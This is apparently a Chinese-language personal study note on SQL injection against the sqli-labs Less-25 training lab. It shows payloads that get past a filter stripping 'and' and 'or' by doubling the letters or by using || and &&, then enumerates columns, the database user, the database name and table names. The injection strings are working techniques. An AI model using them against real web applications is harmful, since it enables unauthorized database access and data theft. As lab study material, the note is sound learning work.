[理论-学习]Web安全-SQL注入-基础13

声明:

由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。

笔记内容来源于各类网课。

环境:

以Sqli-labs中的less25为实验环境。 

一、概述

绕过对and/or的过滤。

二、实验(基于GET类型的注入-检测and/or)

1. 使用GET方式传入参数

使用id=1,页面随着发生变化。 

2. 测试语句能否报错

?id=1'
?id=1'2"3

 可以看到报错错误,我们根据报错语句,可以推测出是字符串注入(单引号闭合)

3. 测试语句能否恶意执行(能不报错)

?id=1' or 1 --+

使用上述语句,按道理不会报错,会返回正确的页面。

我们使用下面语句,将or前后的语句爆出来。

?id=1'2" or 1 --+

可以发现or被替换为空了。这里是对or有检测,检测到or全部替换为空

我再试一下and。

?id=1'2" and 1 --+

and依然被替换。

4. 绕过or/and过滤

可以有以下几个思路。

  1. 如果后端是进行一次检测、替换,使用字母双写绕过。or写成oorr,系统检测到or后,将里里面的or替换为空,由于只是检测一次,外面的o和r连接到一起,变成了or。and同理,使用anandd。
  2. 如果后端检测不严格,没有对OR,Or,oR,And,ANd,AND,aND,adD,aNd进行检测,使用上述字符即可绕过,但是再SQL中可以执行,SQL对字母大小写不敏感。
  3. 可以使用or和and的其他形式or写出||and写成&&,如果后端没检测||和&&就可以绕过。

我们依次尝试。

字母双写。

?id=-1' oorr 1 --+

 字母双写成功绕过。

大小写绕过。

?id=-1'2“ Or 1 --+

大小写绕过失败,Or依然被替换为空。

or/and的其他形式。

?id=-1' || 1 --+

or/and的其他形式成功绕过。

5. 判断当前页面使用的字段数和回显点

我们使用双写方式。

?id=-1' order by 1 --+

这里报错,也是由于order中含有了or,所有被替换为空,导致关键字错误。

所以,后面出现or都需要双写。例如information_schema的or也是需要双写。 

?id=-1' oorrder by 3 --+
?id=-1' oorrder by 4 --+

不使用order by,我们也可以使用union select 1,2...来判断,同时也能判断回显位置。

?id=-1' union select 1,2,3 --+

 得到回显点位置。

6. 获取当前的数据名,用户名

?id=-1' union select 1,user(),database() --+

7. 获取当前数据库的表名

?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()  --+

注意其中的information的or要双写为infoorrmation

8.后续步骤

后续步骤参考这个链接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值